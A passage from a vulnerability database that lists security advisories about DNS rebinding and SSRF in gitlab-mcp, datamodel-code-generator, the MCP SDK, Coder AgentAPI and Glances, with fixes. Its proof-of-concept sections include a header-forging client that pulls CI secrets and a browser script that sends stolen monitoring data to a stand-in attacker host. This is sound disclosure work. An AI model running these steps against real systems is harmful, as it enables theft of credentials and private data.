json.dumps(payload).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\n    def _record(self):\n        parsed = urlparse(self.path)\n        with open(WITNESS, \"a\", encoding=\"utf-8\") as f:\n            f.write(json.dumps({\n                \"method\": self.command,\n                \"path\": parsed.path,\n                \"query\": parse_qs(parsed.query),\n                \"authorization\": self.headers.get(\"authorization\"),\n                \"private_token\": self.headers.get(\"private-token\"),\n                \"job_token\": self.headers.get(\"job-token\"),\n            }, sort_keys=True) + \"\\n\")\n\n    def do_GET(self):\n        self._record()\n        path = urlparse(self.path).path\n        if path == \"/health\":\n            self._json(200, {\"status\": \"ok\"})\n            return\n        if path.startswith(\"/api/v4/\") and not (\n            self.headers.get(\"authorization\") or\n            self.headers.get(\"private-token\") or\n            self.headers.get(\"job-token\")\n        ):\n            self._json(401, {\"message\": \"401 Unauthorized\", \"missing\": \"GitLab token\"})\n            return\n        if path.endswith(\"/variables\"):\n            self._json(200, [{\n                \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n                \"value\": FAKE_SECRET,\n                \"protected\": True,\n                \"masked\": False,\n            }])\n            return\n        self._json(200, {\"ok\": True, \"path\": path})\n\n    def log_message(self, fmt, *args):\n        return\n\nThreadingHTTPServer((\"127.0.0.1\", 18082), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/zereight/gitlab-mcp.git\ncd gitlab-mcp\ngit checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13\nnpm install\nnpm run build\n\nSTREAMABLE_HTTP=true \\\nREMOTE_AUTHORIZATION=true \\\nHOST=127.0.0.1 \\\nPORT=8082 \\\nGITLAB_API_URL=http://127.0.0.1:18082/api/v4 \\\nGITLAB_READ_ONLY_MODE=true \\\nGITLAB_TOOLSETS=issues,projects,repository,ci \\\nGITLAB_TOOLS=list_project_variables \\\nnode build/index.js\n```\n\nIn a third terminal, send MCP requests with attacker-controlled browser-origin headers:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nimport urllib.error\nimport urllib.request\n\nTARGET = \"http://127.0.0.1:8082/mcp\"\nREBIND_HOST = \"attacker.example:8082\"\nORIGIN = \"http://\" + REBIND_HOST\nTOKEN = \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\"\n\ndef parse_rpc(text):\n    stripped = text.strip()\n    if stripped.startswith(\"{\"):\n        return [json.loads(stripped)]\n    out = []\n    for line in stripped.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            out.append(json.loads(line[5:].strip()))\n    return out\n\nclass Client:\n    def __init__(self, token=None):\n        self.sid = None\n        self.token = token\n\n    def post(self, body):\n        headers = {\n            \"Content-Type\": \"application/json\",\n            \"Accept\": \"application/json, text/event-stream\",\n            \"Host\": REBIND_HOST,\n            \"Origin\": ORIGIN,\n        }\n        if self.token:\n            headers[\"Private-Token\"] = self.token\n        if self.sid:\n            headers[\"Mcp-Session-Id\"] = self.sid\n            headers[\"MCP-Protocol-Version\"] = \"2025-06-18\"\n        req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method=\"POST\")\n        try:\n            with urllib.request.urlopen(req, timeout=20) as res:\n                sid = res.headers.get(\"Mcp-Session-Id\") or res.headers.get(\"mcp-session-id\")\n                if sid:\n                    self.sid = sid\n                text = res.read().decode(\"utf-8\", \"replace\")\n                return res.status, parse_rpc(text), text\n        except urllib.error.HTTPError as exc:\n            text = exc.read().decode(\"utf-8\", \"replace\")\n            return exc.code, parse_rpc(text), text\n\n    def rpc(self, method, params=None, rid=1):\n        body = {\"jsonrpc\": \"2.0\", \"id\": rid, \"method\": method}\n        if params is not None:\n            body[\"params\"] = params\n        status, messages, raw = self.post(body)\n        for msg in messages:\n            if msg.get(\"id\") == rid:\n                return status, msg, raw\n        return status, {}, raw\n\n    def initialized(self):\n        self.post({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"})\n\ndef initialize(client, rid):\n    return client.rpc(\"initialize\", {\n        \"protocolVersion\": \"2025-06-18\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"dns-rebind-check\", \"version\": \"1\"},\n    }, rid)\n\nunauth = Client()\nstatus, init, raw = initialize(unauth, 1)\nprint(\"unauth initialize:\", status, \"session:\", unauth.sid)\nunauth.initialized()\nstatus, listed, raw = unauth.rpc(\"tools/list\", {}, 2)\nprint(\"unauth tools/list:\", status, raw[:200])\n\nauthed = Client(TOKEN)\nstatus, init, raw = initialize(authed, 3)\nprint(\"token initialize:\", status, \"session:\", authed.sid)\nauthed.initialized()\nstatus, listed, raw = authed.rpc(\"tools/list\", {}, 4)\ntools = [tool[\"name\"] for tool in listed[\"result\"][\"tools\"]]\nprint(\"listed list_project_variables:\", \"list_project_variables\" in tools)\nstatus, called, raw = authed.rpc(\"tools/call\", {\n    \"name\": \"list_project_variables\",\n    \"arguments\": {\"project_id\": \"pluto/rebind-target\"},\n}, 5)\nprint(raw)\nPY\n```\n\nObserved output:\n\n```text\nunauth initialize: 200 session: \u003cuuid\u003e\nunauth tools/list: 401 {\"error\":\"Missing Private-Token, JOB-TOKEN, or Authorization header\",\"message\":\"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header.\"}\ntoken initialize: 200 session: \u003cuuid\u003e\nlisted list_project_variables: True\n[\n  {\n    \"key\": \"PRODUCTION_DEPLOY_TOKEN\",\n    \"value\": \"glpat-FAKE-PROJECT-CI-SECRET-0001\",\n    \"protected\": true,\n    \"masked\": false\n  }\n]\n```\n\nThe fake GitLab API witness records that the MCP server forwarded the token to the backend request:\n\n```json\n{\"authorization\": null, \"job_token\": null, \"method\": \"GET\", \"path\": \"/api/v4/projects/pluto%2Frebind-target/variables\", \"private_token\": \"glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001\", \"query\": {}}\n```\n\n## Impact\n\nA malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.\n\nThe confirmed impact is:\n\n- attacker-origin browser traffic reaches the local MCP `initialize` path;\n- server-side Host and Origin validation are absent on `/mcp`;\n- tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;\n- GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.\n\n## Why this is a vulnerability, not intended behavior\n\n- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`.\n- The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard.\n- `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.\n\n## Remediation\n\nEnable the SDK DNS-rebinding protection on the Streamable HTTP transport:\n\n```typescript\ntransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: () =\u003e randomUUID(),\n  enableDnsRebindingProtection: true,\n  allowedHosts: [\n    `127.0.0.1:${PORT}`,\n    `localhost:${PORT}`,\n  ],\n  allowedOrigins: [\n    `http://127.0.0.1:${PORT}`,\n    `http://localhost:${PORT}`,\n  ],\n  onsessioninitialized: (newSessionId: string) =\u003e {\n    streamableTransports[newSessionId] = transport;\n  },\n});\n```\n\nAdd an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.",
  "id": "GHSA-vmp7-252j-cwp7",
  "modified": "2026-09-15T20:54:55Z",
  "published": "2026-09-15T20:54:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zereight/gitlab-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport"
}

GHSA-VX7X-VCC2-C44G

Vulnerability from github – Published: 2026-07-28 21:45 – Updated: 2026-07-28 21:45
VLAI
Summary
datamodel-code-generator vulnerable to SSRF protection bypass via DNS rebinding
Details

Summary

datamodel-code-generator's anti-SSRF guard validates the resolved IP of a fetch target once and then lets httpx perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (169.254.169.254), and other internal services — even with the default allow_private_network=False. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote $ref, or --url).

Details

In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the host via _get_ips_from_host() (socket.getaddrinfo) and rejects non-global addresses:

ips = _get_ips_from_host(host)            # resolution #1 (validation)
if not ips: return
if all(_is_safe_ip(ip) for ip in ips): return
raise SchemaFetchError(...)               # blocks private/link-local/reserved

It then connects with a separate, independent resolution:

response = httpx.get(current_url, ...)    # resolution #2 (connection) -- NOT pinned to #1

Nothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4 It starts a loopback HTTP server standing in for an internal target and patches socket.getaddrinfo to return a public IP on the guard's lookup and 127.0.0.1 on httpx's the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls).

Reachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch http://that-host/schema.json either via --url or via a remote $ref in a supplied schema (remote refs are fetched on the default configuration).

Impact

Server-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs datamodel-code-generator against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (169.254.169.254), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1

Fix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for DNS pinning and URL-fetch regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.63.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:45:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`datamodel-code-generator`\u0027s anti-SSRF guard validates the resolved IP of a fetch target once and then lets `httpx` perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (`169.254.169.254`), and other internal services \u2014 even with the default `allow_private_network=False`. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote `$ref`, or `--url`).\n\n### Details\n\nIn `src/datamodel_code_generator/http.py`, `get_body()` calls `_validate_url_for_fetch()`, which resolves the host via `_get_ips_from_host()` (`socket.getaddrinfo`) and rejects non-global addresses:\n\n```python\nips = _get_ips_from_host(host)            # resolution #1 (validation)\nif not ips: return\nif all(_is_safe_ip(ip) for ip in ips): return\nraise SchemaFetchError(...)               # blocks private/link-local/reserved\n```\n\nIt then connects with a separate, independent resolution:\n\n```python\nresponse = httpx.get(current_url, ...)    # resolution #2 (connection) -- NOT pinned to #1\n```\n\nNothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.\n\n### PoC\n\nSelf-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4 \nIt starts a loopback HTTP server standing in for an internal target and patches `socket.getaddrinfo` to return a public IP on the guard\u0027s lookup and `127.0.0.1` on httpx\u0027s  the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls). \n\nReachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch `http://that-host/schema.json` either via `--url` or via a remote `$ref` in a supplied schema (remote refs are fetched on the default configuration).\n\n### Impact\n\nServer-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs `datamodel-code-generator` against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (`169.254.169.254`), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. The private fix PR was merged and released in `0.63.0`: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1\n\nFix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.\n\nRelease status: fixed in `0.63.0`; `0.62.0` and earlier are affected.\n\nValidation: `uv run --group test --extra http pytest tests/test_http.py` passed locally for DNS pinning and URL-fetch regression coverage; `uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-vx7x-vcc2-c44g",
  "modified": "2026-07-28T21:45:48Z",
  "published": "2026-07-28T21:45:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-vx7x-vcc2-c44g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/25c8b7e497419eb20b230fa3318c04f9bebc5a6f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.63.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "datamodel-code-generator vulnerable to SSRF protection bypass via DNS rebinding"
}

GHSA-W48Q-CV73-MX4W

Vulnerability from github – Published: 2025-12-02 16:51 – Updated: 2025-12-02 21:43
VLAI
Summary
Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default
Details

The Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with StreamableHTTPServerTransport or SSEServerTransport and has not enabled enableDnsRebindingProtection, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.

Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.

Servers created via createMcpExpressApp() now have this protection enabled by default when binding to localhost. Users with custom Express configurations are advised to update to version 1.24.0 and apply the exported hostHeaderValidation() middleware when running an unauthenticated server on localhost.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@modelcontextprotocol/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T16:51:57Z",
    "nvd_published_at": "2025-12-02T19:15:52Z",
    "severity": "HIGH"
  },
  "details": "The Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with `StreamableHTTPServerTransport` or `SSEServerTransport` and has not enabled `enableDnsRebindingProtection`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.\n\nNote that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.\n\nServers created via `createMcpExpressApp()` now have this protection enabled by default when binding to localhost. Users with custom Express configurations are advised to update to version `1.24.0` and apply the exported `hostHeaderValidation()` middleware when running an unauthenticated server on localhost.",
  "id": "GHSA-w48q-cv73-mx4w",
  "modified": "2025-12-02T21:43:49Z",
  "published": "2025-12-02T16:51:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-w48q-cv73-mx4w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66414"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/pull/1205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/commit/09623e2aa5044f9e9da62c73d820a8250b9d97ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk/commit/608360047dc6899f1cf4f0226eb62fe7b11b3898"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/typescript-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Model Context Protocol (MCP) TypeScript SDK does not enable DNS rebinding protection by default"
}

GHSA-W64R-2G3W-W8W4

Vulnerability from github – Published: 2025-09-29 20:40 – Updated: 2025-10-23 20:33
VLAI
Summary
Coder AgentAPI exposed user chat history via a DNS rebinding attack
Details

Summary

AgentAPI prior to version 0.4.0 was susceptible to a client-side DNS rebinding attack when hosted over plain HTTP on localhost.

Impact

An attacker could have gained access to the /messages endpoint served by the Agent API. This allowed for the unauthorized exfiltration of sensitive user data, specifically local message history, which could've included secret keys, file system contents, and intellectual property the user was working on locally.

Remediation

We've implemented an Origin and Host header validating middleware and set a secure by default configuration.

Please upgrade to version 0.4.0 or later.

Credits

We'd like to thank Evan Harris from mcpsec.dev for reporting this issue and following the coordinated disclosure policy.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/agentapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-29T20:40:26Z",
    "nvd_published_at": "2025-09-30T11:37:41Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAgentAPI prior to version [0.4.0](https://github.com/coder/agentapi/releases/tag/v0.4.0) was susceptible to a client-side DNS rebinding attack when hosted over plain HTTP on localhost.\n\n### Impact\nAn attacker could have gained access to the `/messages` endpoint served by the Agent API. This allowed for the unauthorized exfiltration of sensitive user data, specifically local message history, which could\u0027ve included secret keys, file system contents, and intellectual property the user was working on locally.\n\n### Remediation\nWe\u0027ve [implemented](https://github.com/coder/agentapi/pull/49) an `Origin` and `Host` header validating middleware and set a secure by default configuration.\n\nPlease upgrade to version [0.4.0](https://github.com/coder/agentapi/releases/tag/v0.4.0) or later.\n\n### Credits\nWe\u0027d like to thank [Evan Harris](https://github.com/eharris128) from [mcpsec.dev](https://mcpsec.dev/) for reporting this issue and following the coordinated disclosure [policy](https://coder.com/security/policy).",
  "id": "GHSA-w64r-2g3w-w8w4",
  "modified": "2025-10-23T20:33:23Z",
  "published": "2025-09-29T20:40:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/security/advisories/GHSA-w64r-2g3w-w8w4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/pull/49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/commit/5c425c62447b8a9eac19e9fc5a2eae7f0803f149"
    },
    {
      "type": "WEB",
      "url": "https://github.blog/security/application-security/localhost-dangers-cors-and-dns-rebinding"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/agentapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/agentapi/releases/tag/v0.4.0"
    },
    {
      "type": "WEB",
      "url": "https://mcpsec.dev/advisories/2025-09-19-coder-chat-exfiltration"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3991"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder AgentAPI exposed user chat history via a DNS rebinding attack"
}

GHSA-W856-8P3R-P338

Vulnerability from github – Published: 2026-06-22 21:31 – Updated: 2026-07-21 14:44
VLAI
Summary
Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
Details

Summary

The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.


Details

Affected component: glances/server.py — GlancesXMLRPCHandler / GlancesXMLRPCServer

Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py

Contrast — patched backends: - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py

The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.

Contrast this with the two other Glances server backends, both of which received host-validation hardening:

REST / WebUI server (glances/outputs/glances_restful_api.py) — patched in 4.5.2:

# glances_restful_api.py
if self.webui_allowed_hosts:
    self._app.add_middleware(
        TrustedHostMiddleware,
        allowed_hosts=self.webui_allowed_hosts,
    )

MCP server (glances/outputs/glances_mcp.py) — protected since 4.5.1:

# glances_mcp.py
TransportSecuritySettings(
    allowed_hosts=self.mcp_allowed_hosts,
    ...
)

XML-RPC server (glances/server.py) — no equivalent exists:

class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
    # No Host header check; any Host value is accepted
    rpc_paths = ('/RPC2',)
    ...

There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

Server type Host header HTTP status Data returned
XML-RPC attacker.example.com 200 OK Yes — VULNERABLE
XML-RPC 127.0.0.1:61209 200 OK Yes (baseline)
REST API attacker.example.com 400 Bad Request No — patched

PoC

Attack overview

DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.

Special configuration required

No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").


Step 1 — Start the Glances XML-RPC server

glances -s -p 61209

Step 2 — Confirm the server accepts an arbitrary Host header

curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
     -H "Host: attacker.example.com" \
     -H "Content-Type: text/plain" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected result (secure): HTTP/1.0 400 Bad Request Actual result: HTTP/1.0 200 OK with full XML-RPC response body.

Step 3 — Confirm the REST API is patched (comparison)

# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210

curl -s -o /dev/null -w "%{http_code}\n" \
     "http://127.0.0.1:61210/api/4/status" \
     -H "Host: attacker.example.com"
# Returns: 400   (TrustedHostMiddleware rejects the spoofed Host)

Step 4 — Full DNS rebinding exploitation (real-world path)

  1. Attacker registers attacker.example.com with a low-TTL (1 second) DNS record initially pointing to their own server IP.
  2. Attacker serves the following page from http://attacker.example.com:
<script>
async function exfil() {
  const payload = `<?xml version="1.0"?>
    <methodCall><methodName>getAll</methodName></methodCall>`;
  try {
    const r = await fetch('http://attacker.example.com:61209/RPC2', {
      method:  'POST',
      headers: { 'Content-Type': 'text/plain' },
      body:    payload,
    });
    const data = await r.text();
    // data contains: hostname, OS, all processes with cmd-lines, network, disk
    await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
  } catch (_) {}
}

// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>
  1. Victim visits http://attacker.example.com in their browser.
  2. After TTL expiry, the attacker's DNS server responds with 127.0.0.1.
  3. The browser's fetch() call is sent to 127.0.0.1:61209 with Host: attacker.example.com; the XML-RPC server accepts it.
  4. The Access-Control-Allow-Origin: * header (see companion advisory) allows the browser to read the response body.
  5. The attacker receives the complete system monitoring snapshot.

Tools that simplify DNS rebinding for research/testing include: - Singularity - rbndr.us

Step 5 — Confirm absence of Host check in source

import sys, inspect
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
import glances.server as s

src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False

Impact

Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)

Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:

  • Glances is bound to 127.0.0.1 (loopback) — DNS rebinding bypasses the loopback restriction.
  • Glances is bound to a LAN IP — any browser on that LAN is at risk.
  • Glances is exposed on a public IP — any browser on the internet is at risk.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.

Impact: - Confidentiality: High — complete system monitoring data readable remotely without credentials. - Integrity: None — read-only XML-RPC API. - Availability: None — no denial-of-service component.

The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.


Suggested Fix

Option 1 — Add Host validation to the XML-RPC handler (preferred)

Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:

# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):

    allowed_hosts: list[str] = []   # populated from config

    def parse_request(self) -> bool:
        if not super().parse_request():
            return False
        if self.allowed_hosts:
            host = self.headers.get('Host', '').split(':')[0]
            if host not in self.allowed_hosts:
                self.send_error(400, 'Bad Request: invalid Host header')
                return False
        return True

Populate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.

Option 2 — Deprecate and remove the XML-RPC server

The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.


